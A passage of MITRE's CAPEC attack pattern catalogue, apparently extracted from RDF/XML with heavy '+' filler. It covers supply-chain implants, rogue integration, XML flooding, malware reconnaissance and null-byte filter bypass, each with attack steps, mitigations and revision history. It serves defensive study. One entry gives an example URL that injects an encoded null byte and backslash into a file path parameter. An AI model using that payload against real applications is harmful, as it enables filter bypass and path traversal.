xmlns:xhtml="http://www.w3.org/1999/xhtml">[Discover Vulnerability in Supply Chain] The adversary maps out the supply chain for the targeted system. They look for ooportunities to gain physical access to the system after it has left the manufacturer, but before it is deployed to the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Procure a system and observe the steps it takes in the shipment process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify possible warehouses that systems are stored after manufacturing.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep29170 + Attack_Step_29170 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Test a Malicious Component Replacement] Before performing the attack in the wild, an adversary will test the attack on a system they have procured to ensure that the desired outcome will be achieved.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design a malicious hardware component that will perform the same functionality as the target component, but also contains additional functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obtain already designed malicious components that just need to be placed into the system.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep29177 + Attack_Step_29177 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Substitute Components in the Supply Chain] Using the vulnerability in the supply chain of the system discovered in the explore phase, the adversary substitutes the malicious component for the targeted component. This results in the adversary gaining unintended access to systems once they reach the victim and can lead to a variety of follow up attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Physical access to the system after it has left the manufacturer but before it is deployed at the victim location.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29187 + Skill_29187 + + + + + + + + + + + + + + Advanced knowledge of the design of the system. + + + + + + + + + + + + #indSkillSkill29188 + Skill_29188 + + + + + + + + + + + + + + Hardware creation and manufacture of replacement components. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that all contractors and sub-suppliers use trusted means of shipping (e.g., bonded/cleared/vetted and insured couriers) to ensure that components, once purchased, are not subject to compromise during their delivery.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prevent or detect tampering with critical hardware or firmware components while in transit through use of state-of-the-art anti-tamper devices.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use tamper-resistant and tamper-evident packaging when shipping critical components (e.g., plastic coating for circuit boards, tamper tape, paint, sensors, and/or seals for cases and containers) and inspect received system components for evidence of tampering.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">During shipment the adversary is able to intercept a system that has been purchased by the victim, and replaces a math processor card that functions just like the original, but contains advanced malicious capability. Once deployed, the system functions as normal, but allows for the adversary to remotely communicate with the system and use it as a conduit for additional compromise within the victim's environment.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indReferenceReference29205 + Reference_29205 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference29206 + Reference_29206 + + + + + + + + + REF-712 + + + + + + + + + + + + #indContentHistoryContentHistory29208 + Content_History_29208 + + + + + + + + + + + + + + + + #indSubmissionSubmission29209 + Submission_29209 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29214 + Modification_29214 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification29220 + Modification_29220 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification29226 + Modification_29226 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Execution_Flow, References + + + + + + + + + + + + #indModificationModification29232 + Modification_29232 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-523 + Malicious Software Implanted + + + + + + + + + 523 + + + + + Malicious Software Implanted + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker implants malicious software into the system in the supply chain distribution channel, with purpose of causing malicious disruption or allowing for additional compromise when the system is deployed.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29246 + Related_Attack_Pattern_29246 + + + + + + + + + + + + + + 439 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep29251 + Attack_Step_29251 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Entry Point] The adversary must first identify a system that they wish to target and search for an entry point they can use to install the malicious software. This could be a system which they have prior knowledge of, giving them insight into the software and environment.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a JTAGulator to identify exposed JTAG and UART interfaces in smaller embedded systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify exposed USB connectors that could be used to load software.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep29258 + Attack_Step_29258 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Discover Vulnerability in Supply Chain] The adversary maps out the supply chain for the targeted system. They look for ooportunities to gain physical access to the system after it has left the manufacturer, but before it is deployed to the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Procure a system and observe the steps it takes in the shipment process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify possible warehouses that systems are stored after manufacturing.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep29265 + Attack_Step_29265 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Test Malicious Software] Before performing the attack in the wild, an adversary will test the attack on a system they have procured to ensure that the desired outcome will be achieved.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design malicious software that will give an adversary a backdoor into the system once it is deployed to the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obtain already designed malicious software that just need to be placed into the system.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep29272 + Attack_Step_29272 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Implant Software in the Supply Chain] Using the vulnerability in the supply chain of the system discovered in the explore phase, the adversary implants the malicious software into the system. This results in the adversary gaining unintended access to systems once they reach the victim and can lead to a variety of follow up attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Physical access to the system after it has left the manufacturer but before it is deployed at the victim location.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29282 + Skill_29282 + + + + + + + + + + + + + + Advanced knowledge of the design of the system and it's operating system components and subcomponents. + + + + + + + + + + + + #indSkillSkill29283 + Skill_29283 + + + + + + + + + + + + + + Malicious software creation. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Deploy strong code integrity policies to allow only authorized apps to run.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use endpoint detection and response solutions that can automaticalkly detect and remediate suspicious activities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Maintain a highly secure build and update infrastructure by immediately applying security patches for OS and software, implementing mandatory integrity controls to ensure only trusted tools run, and requiring multi-factor authentication for admins.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Require SSL for update channels and implement certificate transparency based verification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Sign everything, including configuration files, XML files and packages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop an incident response process, disclose supply chain incidents and notify customers with accurate and timely information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker has created a piece of malicious software designed to function as a backdoor in a system that is to be deployed at the victim location. During shipment of the system, the attacker has physical access to the system at a loading dock of an integrator for a short time. The attacker unpacks and powers up the system and installs the malicious piece of software, and configures it to run upon system boot. The system is repackaged and returned to its place on the loading dock, and is shipped and installed at the victim location with the malicious software in place, allowing the attacker to bypass firewalls and remotely gain access to the victim's network for further malicious activities.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareSupplyChain + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + + + 1195.002 + + + + + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + #indReferenceReference29303 + Reference_29303 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference29304 + Reference_29304 + + + + + + + + + REF-716 + + + + + + + + + + + + #indContentHistoryContentHistory29306 + Content_History_29306 + + + + + + + + + + + + + + + + #indSubmissionSubmission29307 + Submission_29307 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29312 + Modification_29312 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification29318 + Modification_29318 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification29324 + Modification_29324 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow, Mitigations, References + + + + + + + + + + + + #indModificationModification29330 + Modification_29330 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-524 + Rogue Integration Procedures + + + + + + + + + 524 + + + + + Rogue Integration Procedures + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker alters or establishes rogue processes in an integration facility in order to insert maliciously altered components into the system. The attacker would then supply the malicious components. This would allow for malicious disruption or additional compromise when the system is deployed.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29344 + Related_Attack_Pattern_29344 + + + + + + + + + + + + + + 439 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Physical access to an integration facility that prepares the system before it is deployed at the victim location.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29352 + Skill_29352 + + + + + + + + + + + + + + Advanced knowledge of the design of the system. + + + + + + + + + + + + #indSkillSkill29353 + Skill_29353 + + + + + + + + + + + + + + Hardware creation and manufacture of replacement components. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Deploy strong code integrity policies to allow only authorized apps to run.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use endpoint detection and response solutions that can automaticalkly detect and remediate suspicious activities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Maintain a highly secure build and update infrastructure by immediately applying security patches for OS and software, implementing mandatory integrity controls to ensure only trusted tools run, and requiring multi-factor authentication for admins.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Require SSL for update channels and implement certificate transparency based verification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Sign everything, including configuration files, XML files and packages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop an incident response process, disclose supply chain incidents and notify customers with accurate and timely information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Maintain strong physical system access controls and monitor networks and physical facilities for insider threats.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker gains access to a system integrator's documentation for the preparation of purchased systems designated for deployment at the victim's location. As a part of the preparation, the included 100 megabit network card is to be replaced with a 1 gigabit network card. The documentation is altered to reflect the type of 1 gigabit network card to use, and the attacker ensures that this type of network card is provided by the attacker's own supply. The card has additional malicious functionality which will allow for additional compromise by the attacker at the victim location once the system is deployed.</xhtml:div> + + + + + + + + + + + + #indReferenceReference29368 + Reference_29368 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference29369 + Reference_29369 + + + + + + + + + REF-716 + + + + + + + + + + + + #indContentHistoryContentHistory29371 + Content_History_29371 + + + + + + + + + + + + + + + + #indSubmissionSubmission29372 + Submission_29372 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29377 + Modification_29377 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification29383 + Modification_29383 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification29389 + Modification_29389 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Mitigations, References + + + + + + + + + + + + #CAPEC-528 + XML Flood + + + + + + + + + 528 + + + + + XML Flood + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indAlternateTermXMLDenialOfService + XML Denial of Service (XML DoS) + + + + + + + + + XML Denial of Service (XML DoS) + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29410 + Related_Attack_Pattern_29410 + + + + + + + + + + + + + + 125 + + + + + 512 + + + + + + + + + + + + #indAttackStepAttackStep29415 + Attack_Step_29415 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the target] Using a browser or an automated tool, an attacker records all instance of web services to process XML requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool to record all instances of URLs to process XML requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how the application processes XML requests.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep29422 + Attack_Step_29422 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary crafts input data that may have an adverse effect on the operation of the web service when the XML data sent to the service.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep29427 + Attack_Step_29427 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Launch a resource depletion attack] The attacker delivers a large number of XML messages to the target URLs found in the explore phase at a sufficiently rapid rate. It causes denial of service to the target application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a large number of crafted XML messages to the target URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must receive and process XML transactions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adverssary must possess the ability to generate a large amount of XML based messages to send to the target service.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29439 + Skill_29439 + + + + + + + + + + + + + + Denial of service + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A large amount of data is passed to the XML parser possibly making it crash or otherwise unavailable to end users.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence29445 + Consequence_29445 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Build throttling mechanism into the resource allocation. Provide for a timeout mechanism for allocated resources whose transaction does not complete within a specified interval.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Provide for network flow control and traffic shaping to control access to the resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Consider the case of attack performed against the createCustomerBillingAccount Web Service for an online store. In this case, the createCustomerBillingAccount Web Service receives a huge number of simultaneous requests, containing nonsense billing account creation information (the small XML messages). The createCustomerBillingAccount Web Services may forward the messages to other Web Services for processing. The application suffers from a high load of requests, potentially leading to a complete loss of availability the involved Web Service.</xhtml:div> + + + + + 770 + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfServiceServiceExhaustionFlood + Endpoint Denial of Service:Service Exhaustion Flood + + + + + + + + + + + + + + 1499.002 + + + + + Endpoint Denial of Service:Service Exhaustion Flood + + + + + + + + + + + + #indTaxonomyMappingNetworkDenialOfServiceDirectNetworkFlood + Network Denial of Service:Direct Network Flood + + + + + + + + + + + + + + 1498.001 + + + + + Network Denial of Service:Direct Network Flood + + + + + + + + + + + + #indContentHistoryContentHistory29470 + Content_History_29470 + + + + + + + + + + + + + + + + #indSubmissionSubmission29471 + Submission_29471 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29476 + Modification_29476 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification29482 + Modification_29482 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Alternate_Terms, Consequences, Description, Example_Instances, Execution_Flow, Indicators, Likelihood_Of_Attack, Mitigations, Prerequisites, Related_Attack_Patterns, Skills_Required, Typical_Severity + + + + + + + + + + + + #indModificationModification29488 + Modification_29488 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification29494 + Modification_29494 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification29500 + Modification_29500 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-529 + Malware-Directed Internal Reconnaissance + + + + + + + + + 529 + + + + + Malware-Directed Internal Reconnaissance + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary uses malware or a similarly controlled application installed inside an organizational perimeter to gather information about the composition, configuration, and security mechanisms of a targeted application, system or network.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29514 + Related_Attack_Pattern_29514 + + + + + + + + + + + + + + 169 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have internal, logical access to the target network and system.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29522 + Skill_29522 + + + + + + + + + + + + + + The adversary must be able to obtain or develop, as well as place malicious software inside the target network/system. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires a variety of tools to collect information about the target. These include port/network scanners and tools to analyze responses from applications to determine version and configuration information. Footprinting a system adequately may also take a few days if the attacker wishes the footprinting attempt to go undetected.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence29528 + Consequence_29528 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Keep patches up to date by installing weekly or daily if possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify programs that may be used to acquire peripheral information and block them by using a software restriction policy or tools that restrict program execution by using a process allowlist.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory29537 + Content_History_29537 + + + + + + + + + + + + + + + + #indSubmissionSubmission29538 + Submission_29538 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29543 + Modification_29543 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification29549 + Modification_29549 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification29555 + Modification_29555 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-53 + Postfix, Null Terminate, and Backslash + + + + + + + + + 53 + + + + + Postfix, Null Terminate, and Backslash + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If a string is passed through a filter of some kind, then a terminal NULL may not be valid. Using alternate representation of NULL allows an adversary to embed the NULL mid-string while postfixing the proper data so that the filter is avoided. One example is a filter that looks for a trailing slash character. If a string insertion is possible, but the slash must exist, an alternate encoding of NULL in mid-string may be used.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29569 + Related_Attack_Pattern_29569 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep29572 + Attack_Step_29572 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inspect the application to find entry points.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep29581 + Attack_Step_29581 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe entry points to locate vulnerabilities] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects postfix null byte(s) followed by a backslash to observe how the application handles them as input. The adversary is looking for areas where user input is placed in the middle of a string, and the null byte causes the application to stop processing the string at the end of the user input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try different encodings for null such as \\0 or %00 followed by an encoding for the backslash character.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep29587 + Attack_Step_29587 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Remove data after null byte(s)] After determined entry points that are vulnerable, the adversary places a null byte(s) followed by a backslash such that they bypass an input filter and remove data after the null byte(s) in a way that is beneficial to them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the input is a directory as part of a longer file path, add a null byte(s) followed by a backslash at the end of the input to try to traverse to the given directory.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Null terminators are not properly handled by the filter.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29598 + Skill_29598 + + + + + + + + + + + + + + An adversary needs to understand alternate encodings, what the filter looks for and the data format acceptable to the target API + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Null characters are observed by the filter. The filter needs to be able to understand various encodings of the Null character, or only canonical data should be passed to it.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence29604 + Consequence_29604 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence29608 + Consequence_29608 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence29612 + Consequence_29612 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Properly handle Null characters. Make sure canonicalization is properly applied. Do not pass Null characters to the underlying APIs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A rather simple injection is possible in a URL:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://getAccessHostname/sekbin/&lt;xhtml:br&gt;&lt;/xhtml:br&gt;helpwin.gas.bat?mode=&amp;amp;draw=x&amp;amp;file=x&amp;amp;module=&amp;amp;locale=[insert relative path here]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;[%00][%5C]&amp;amp;chapter=&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack has appeared with regularity in the wild. There are many variations of this kind of attack. Spending a short amount of time injecting against Web applications will usually result in a new exploit being discovered.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 158 + + + + + 172 + + + + + 173 + + + + + 74 + + + + + 20 + + + + + 697 + + + + + 707 + + + + + + + + + + + + #indReferenceReference29640 + Reference_29640 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory29642 + Content_History_29642 + + + + + + + + + + + + + + + + #indSubmissionSubmission29643 + Submission_29643 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29648 + Modification_29648 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification29654 + Modification_29654 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification29660 + Modification_29660 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification29666 + Modification_29666 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow, Skills_Required + + + + + + + + + + + + #indModificationModification29672 + Modification_29672 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-530 + Provide Counterfeit Component + + + + + + + + + 530 + + + + + Provide Counterfeit Component + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker provides a counterfeit component during the procurement process of a lower-tier component supplier to a sub-system developer or integrator, which is then built into the system being upgraded or repaired by the victim, allowing the attacker to cause disruption or additional compromise.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29686 + Related_Attack_Pattern_29686 + + + + + + + + + + + + + + 531 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge about the target system and sub-components.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29692 + Skill_29692 + + + + + + + + + + + + + + 